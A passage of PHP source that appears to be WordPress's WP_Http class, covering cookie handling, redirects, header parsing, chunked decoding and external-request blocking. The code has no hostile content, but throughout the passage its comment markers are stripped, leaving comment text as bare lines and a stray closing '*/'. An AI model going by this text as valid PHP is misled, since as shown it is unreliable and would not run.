* @param array $response HTTP response.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
return apply_filters( 'http_response', $response, $parsed_args, $url );
}
*
* Normalizes cookies for using in Requests.
*
* @since 4.6.0
*
* @param array $cookies Array of cookies to send with the request.
* @return WpOrg\Requests\Cookie\Jar Cookie holder object.
public static function normalize_cookies( $cookies ) {
$cookie_jar = new WpOrg\Requests\Cookie\Jar();
foreach ( $cookies as $name => $value ) {
if ( $value instanceof WP_Http_Cookie ) {
$attributes = array_filter(
$value->get_attributes(),
static function ( $attr ) {
return null !== $attr;
}
);
$cookie_jar[ $value->name ] = new WpOrg\Requests\Cookie( (string) $value->name, $value->value, $attributes, array( 'host-only' => $value->host_only ) );
} elseif ( is_scalar( $value ) ) {
$cookie_jar[ $name ] = new WpOrg\Requests\Cookie( (string) $name, (string) $value );
}
}
return $cookie_jar;
}
*
* Match redirect behavior to browser handling.
*
* Changes 302 redirects from POST to GET to match browser handling. Per
* RFC 7231, user agents can deviate from the strict reading of the
* specification for compatibility purposes.
*
* @since 4.6.0
*
* @param string $location URL to redirect to.
* @param array $headers Headers for the redirect.
* @param string|array $data Body to send with the request.
* @param array $options Redirect request options.
* @param WpOrg\Requests\Response $original Response object.
public static function browser_redirect_compatibility( $location, $headers, $data, &$options, $original ) {
Browser compatibility.
if ( 302 === $original->status_code ) {
$options['type'] = WpOrg\Requests\Requests::GET;
}
}
*
* Validate redirected URLs.
*
* @since 4.7.5
*
* @throws WpOrg\Requests\Exception On unsuccessful URL validation.
* @param string $location URL to redirect to.
public static function validate_redirects( $location ) {
if ( ! wp_http_validate_url( $location ) ) {
throw new WpOrg\Requests\Exception( __( 'A valid URL was not provided.' ), 'wp_http.redirect_failed_validation' );
}
}
*
* Tests which transports are capable of supporting the request.
*
* @since 3.2.0
* @deprecated 6.4.0 Use WpOrg\Requests\Requests::get_transport_class()
* @see WpOrg\Requests\Requests::get_transport_class()
*
* @param array $args Request arguments.
* @param string $url URL to request.
* @return string|false Class name for the first transport that claims to support the request.
* False if no transport claims to support the request.
public function _get_first_available_transport( $args, $url = null ) {
$transports = array( 'curl', 'streams' );
*
* Filters which HTTP transports are available and in what order.
*
* @since 3.7.0
* @deprecated 6.4.0 Use WpOrg\Requests\Requests::get_transport_class()
*
* @param string[] $transports Array of HTTP transports to check. Default array contains
* 'curl' and 'streams', in that order.
* @param array $args HTTP request arguments.
* @param string $url The URL to request.
$request_order = apply_filters_deprecated( 'http_api_transports', array( $transports, $args, $url ), '6.4.0' );
Loop over each transport on each HTTP request looking for one which will serve this request's needs.
foreach ( $request_order as $transport ) {
if ( in_array( $transport, $transports, true ) ) {
$transport = ucfirst( $transport );
}
$class = 'WP_Http_' . $transport;
Check to see if this transport is a possibility, calls the transport statically.
if ( ! call_user_func( array( $class, 'test' ), $args, $url ) ) {
continue;
}
return $class;
}
return false;
}
*
* Dispatches a HTTP request to a supporting transport.
*
* Tests each transport in order to find a transport which matches the request arguments.
* Also caches the transport instance to be used later.
*
* The order for requests is cURL, and then PHP Streams.
*
* @since 3.2.0
* @deprecated 5.1.0 Use WP_Http::request()
* @see WP_Http::request()
*
* @param string $url URL to request.
* @param array $args Request arguments.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
private function _dispatch_request( $url, $args ) {
static $transports = array();
$class = $this->_get_first_available_transport( $args, $url );
if ( ! $class ) {
return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) );
}
Transport claims to support request, instantiate it and give it a whirl.
if ( empty( $transports[ $class ] ) ) {
$transports[ $class ] = new $class();
}
$response = $transports[ $class ]->request( $url, $args );
* This action is documented in wp-includes/class-wp-http.php
do_action( 'http_api_debug', $response, 'response', $class, $args, $url );
if ( is_wp_error( $response ) ) {
return $response;
}
* This filter is documented in wp-includes/class-wp-http.php
return apply_filters( 'http_response', $response, $args, $url );
}
*
* Uses the POST HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error. See WP_Http::response() for details.
public function post( $url, $args = array() ) {
$defaults = array( 'method' => 'POST' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
*
* Uses the GET HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error. See WP_Http::response() for details.
public function get( $url, $args = array() ) {
$defaults = array( 'method' => 'GET' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
*
* Uses the HEAD HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error. See WP_Http::response() for details.
public function head( $url, $args = array() ) {
$defaults = array( 'method' => 'HEAD' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
*
* Parses the responses and splits the parts into headers and body.
*
* @since 2.7.0
*
* @param string $response The full response string.
* @return array {
* Array with response headers and body.
*
* @type string $headers HTTP response headers.
* @type string $body HTTP response body.
* }
public static function processResponse( $response ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
$response = explode( "\r\n\r\n", $response, 2 );
return array(
'headers' => $response[0],
'body' => isset( $response[1] ) ? $response[1] : '',
);
}
*
* Transforms header string into an array.
*
* @since 2.7.0
*
* @param string|array $headers The original headers. If a string is passed, it will be converted
* to an array. If an array is passed, then it is assumed to be
* raw header data with numeric keys with the headers as the values.
* No headers must be passed that were already processed.
* @param string $url Optional. The URL that was requested. Default empty.
* @return array {
* Processed string headers. If duplicate headers are encountered,
* then a numbered array is returned as the value of that header-key.
*
* @type array $response {
* @type int $code The response status code. Default 0.
* @type string $message The response message. Default empty.
* }
* @type array $newheaders The processed header data as a multidimensional array.
* @type WP_Http_Cookie[] $cookies If the original headers contain the 'Set-Cookie' key,
* an array containing `WP_Http_Cookie` objects is returned.
* }
public static function processHeaders( $headers, $url = '' ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
Split headers, one per array element.
if ( is_string( $headers ) ) {
Tolerate line terminator: CRLF = LF (RFC 2616 19.3).
$headers = str_replace( "\r\n", "\n", $headers );
* Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>,
* <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2).
$headers = preg_replace( '/\n[ \t]/', ' ', $headers );
Create the headers array.
$headers = explode( "\n", $headers );
}
$response = array(
'code' => 0,
'message' => '',
);
* If a redirection has taken place, The headers for each page request may have been passed.
* In this case, determine the final HTTP header and parse from there.
for ( $i = count( $headers ) - 1; $i >= 0; $i-- ) {
if ( ! empty( $headers[ $i ] ) && ! str_contains( $headers[ $i ], ':' ) ) {
$headers = array_splice( $headers, $i );
break;
}
}
$cookies = array();
$newheaders = array();
foreach ( (array) $headers as $tempheader ) {
if ( empty( $tempheader ) ) {
continue;
}
if ( ! str_contains( $tempheader, ':' ) ) {
$stack = explode( ' ', $tempheader, 3 );
$stack[] = '';
list( , $response['code'], $response['message']) = $stack;
continue;
}
list($key, $value) = explode( ':', $tempheader, 2 );
$key = strtolower( $key );
$value = trim( $value );
if ( isset( $newheaders[ $key ] ) ) {
if ( ! is_array( $newheaders[ $key ] ) ) {
$newheaders[ $key ] = array( $newheaders[ $key ] );
}
$newheaders[ $key ][] = $value;
} else {
$newheaders[ $key ] = $value;
}
if ( 'set-cookie' === $key ) {
$cookies[] = new WP_Http_Cookie( $value, $url );
}
}
Cast the Response Code to an int.
$response['code'] = (int) $response['code'];
return array(
'response' => $response,
'headers' => $newheaders,
'cookies' => $cookies,
);
}
*
* Takes the arguments for a ::request() and checks for the cookie array.
*
* If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances,
* which are each parsed into strings and added to the Cookie: header (within the arguments array).
* Edits the array by reference.
*
* @since 2.8.0
*
* @param array $r Full array of args passed into ::request()
public static function buildCookieHeader( &$r ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
if ( ! empty( $r['cookies'] ) ) {
Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances.
foreach ( $r['cookies'] as $name => $value ) {
if ( ! is_object( $value ) ) {
$r['cookies'][ $name ] = new WP_Http_Cookie(
array(
'name' => $name,
'value' => $value,
)
);
}
}
$cookies_header = '';
foreach ( (array) $r['cookies'] as $cookie ) {
$cookies_header .= $cookie->getHeaderValue() . '; ';
}
$cookies_header = substr( $cookies_header, 0, -2 );
$r['headers']['cookie'] = $cookies_header;
}
}
*
* Decodes chunk transfer-encoding, based off the HTTP 1.1 specification.
*
* Based off the HTTP http_encoding_dechunk function.
*
* @link https:tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding.
*
* @since 2.7.0
*
* @param string $body Body content.
* @return string Chunked decoded body on success or raw body on failure.
public static function chunkTransferDecode( $body ) { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
The body is not chunked encoded or is malformed.
if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) ) {
return $body;
}
$parsed_body = '';
We'll be altering $body, so need a backup in case of error.
$body_original = $body;
while ( true ) {
$has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match );
if ( ! $has_chunk || empty( $match[1] ) ) {
return $body_original;
}
$length = hexdec( $match[1] );
$chunk_length = strlen( $match[0] );
Parse out the chunk of data.
$parsed_body .= substr( $body, $chunk_length, $length );
Remove the chunk from the raw data.
$body = substr( $body, $length + $chunk_length );
End of the document.
if ( '0' === trim( $body ) ) {
return $parsed_body;
}
}
}
*
* Determines whether an HTTP API request to the given URL should be blocked.
*
* Those who are behind a proxy and want to prevent access to certain hosts may do so. This will
* prevent plugins from working and core functionality, if you don't include `api.wordpress.org`.
*
* You block external URL requests by defining `WP_HTTP_BLOCK_EXTERNAL` as true in your `wp-config.php`
* file and this will only allow localhost and your site to make requests. The constant
* `WP_ACCESSIBLE_HOSTS` will allow additional hosts to go through for requests. The format of the
* `WP_ACCESSIBLE_HOSTS` constant is a comma separated list of hostnames to allow, wildcard domains
* are supported, eg `*.wordpress.org` will allow for all subdomains of `wordpress.org` to be contacted.
*
* @since 2.8.0
*
* @link https:core.trac.wordpress.org/ticket/8927 Allow preventing external requests.
* @link https:core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS
*
* @param string $uri URI of url.
* @return bool True to block, false to allow.
public function block_request( $uri ) {
We don't need to block requests, because nothing is blocked.
if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL ) {
return false;
}
$check = parse_url( $uri );
if ( ! $check ) {
return true;
}
$home = parse_url( get_option( 'siteurl' ) );
Don't block requests back to ourselves by default.
if ( 'localhost' === $check['host'] || ( isset( $home['host'] ) && $home['host'] === $check['host'] ) ) {
*
* Filters whether to block local HTTP API requests.
*
* A local request is one to `localhost` or to the same host as the site itself.
*
* @since 2.8.0
*
* @param bool $block Whether to block local requests. Default false.
return apply_filters( 'block_local_requests', false );
}
if ( ! defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
return true;
}
static $accessible_hosts = null;
static $wildcard_regex = array();
if ( null === $accessible_hosts ) {
$accessible_hosts = preg_split( '|,\s*|', WP_ACCESSIBLE_HOSTS );
if ( str_contains( WP_ACCESSIBLE_HOSTS, '*' ) ) {
$wildcard_regex = array();
foreach ( $accessible_hosts as $host ) {
$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
}
$wildcard_regex = '/^(' . implode( '|', $wildcard_regex ) . ')$/i';
}
}
if ( ! empty( $wildcard_regex ) ) {
return ! preg_match( $wildcard_regex, $check['host'] );
} else {
return ! in_array( $check['host'], $accessible_hosts, true ); Inverse logic, if it's in the array, then don't block it.
}
}
*
* Used as a wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7.
*
* @deprecated 4.4.0 Use wp_parse_url()
* @see wp_parse_url()
*
* @param string $url The URL to parse.
* @return bool|array False on failure; Array of URL components on success;
* See parse_url()'s return values.
protected static function parse_url( $url ) {
_deprecated_function( __METHOD__, '4.4.0', 'wp_parse_url()' );
return wp_parse_url( $url );
}
*
* Converts a relative URL to an absolute URL relative to a given URL.
*
* If an Absolute URL is provided, no processing of that URL is done.
*
* @since 3.4.0
*
* @param string $maybe_relative_path The URL which might be relative.
* @param string $url The URL which $maybe_relative_path is relative to.
* @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned.
public static function make_absolute_url( $maybe_relative_path, $url ) {
if ( empty( $url ) ) {
return $maybe_relative_path;
}
$url_parts = wp_parse_url( $url );
if ( ! $url_parts ) {
return $maybe_relative_path;
}
$relative_url_parts = wp_parse_url( $maybe_relative_path );
if ( ! $relative_url_parts ) {
return $maybe_relative_path;
}
Check for a scheme on the 'relative' URL.
if ( ! empty( $relative_url_parts['scheme'] ) ) {
return $maybe_relative_path;
}
$absolute_path = $url_parts['scheme'] . ':';
Schemeless URLs will make it this far, so we check for a host in the relative URL
and convert it to a protocol-URL.
if ( isset( $relative_url_parts['host'] ) ) {
$absolute_path .= $relative_url_parts['host'];
if ( isset( $relative_url_parts['port'] ) ) {
$absolute_path .= ':' . $relative_url_parts['port'];
}
} else {
$absolute_path .= $url_parts['host'];
if ( isset( $url_parts['port'] ) ) {
$absolute_path .= ':' . $url_parts['port'];
}
}
Start off with the absolute URL path.
$path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/';
If it's a root-relative path, then great.
if ( ! empty( $relative_url_parts['path'] ) && '/' === $relative_url_parts['path'][0] ) {
$path = $relative_url_parts['path'];
Else it's a relative path.
} elseif ( ! empty( $relative_url_parts['path'] ) ) {
Strip off any file components from the absolute path.
$path = substr( $path, 0, strrpos( $path, '/' ) + 1 );
Build the new path.
$path .= $relative_url_parts['path'];
Strip all /path/../ out of the path.
while ( strpos( $path, '../' ) > 1 ) {
$path = preg_replace( '![^/]+/\.\./!', '', $path );
}
Strip any final leading ../ from the path.
$path = preg_replace( '!^/(\.\./)+!', '', $path );
}
Add the query string.
if ( ! empty( $relative_url_parts['query'] ) ) {
$path .= '?' . $relative_url_parts['query'];
}
Add the fragment.
if ( ! empty( $relative_url_parts['fragment'] ) ) {
$path .= '#' . $relative_url_parts['fragment'];
}
return $absolute_path . '/' . ltrim( $path, '/' );
}
*
* Handles an HTTP redirect and follows it if appropriate.
*
* @since 3.7.0
*
* @param string $url The URL which was requested.
* @param array $args The arguments which were used to make the request.
* @param array $response The response of the HTTP request.
* @return array|false|WP_Error An HTTP API response array if the redirect is successfully followed,
* false if no redirect is present, or a WP_Error object if there's an error.
public static function handle_redirects( $url, $args, $response ) {
If no redirects are present, or, redirects were not requested, perform no action.
if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] ) {
return false;
}
Only perform redirections on redirection http codes.
if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 ) {
return false;
}
Don't redirect if we've run out of redirects.
if ( $args['redirection']-- <= 0 ) {
return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
}
$redirect_location = $response['headers']['location'];
If there were multiple Location headers, use the last header specified.
if ( is_array( $redirect_location ) ) {
$redirect_location = array_pop( $redirect_location );
}
$redirect_location = WP_Http::make_absolute_url( $redirect_location, $url );
POST requests should not POST to a redirected location.
if ( 'POST' === $args['method'] ) {
if ( in_array( $response['response']['code'], array( 302, 303 ), true ) ) {
$args['method'] = 'GET';
}
}
Include valid cookies in the redirect process.
if ( ! empty( $response['cookies'] ) ) {
foreach ( $response['cookies'] as $cookie ) {
if ( $cookie->test( $redirect_location ) ) {
$args['cookies'][] = $cookie;
}
}
}
return wp_remote_request( $redirect_location, $args );
}
*
* Determines if a specified string represents an IP address or not.
*
* This function also detects the type of the IP address, returning either
* '4' or '6' to represent an IPv4 and IPv6 address respectively.
* This does not verify if the IP is a valid IP, only that it appears to be
* an IP address.
*
* @link http:home.deds.nl/~aeron/regex/ for IPv6 regex.
*
* @since 3.7.0
*
* @param string $maybe_ip A suspected IP address.
* @return int|false Upon success, '4' or '6' to represent an IPv4 or IPv6 address, false upon failure.
public static function is_ip_address( $maybe_ip ) {
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) ) {
return 4;
}
if ( str_contains( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) ) {
return 6;
}
return false;
}
}
*/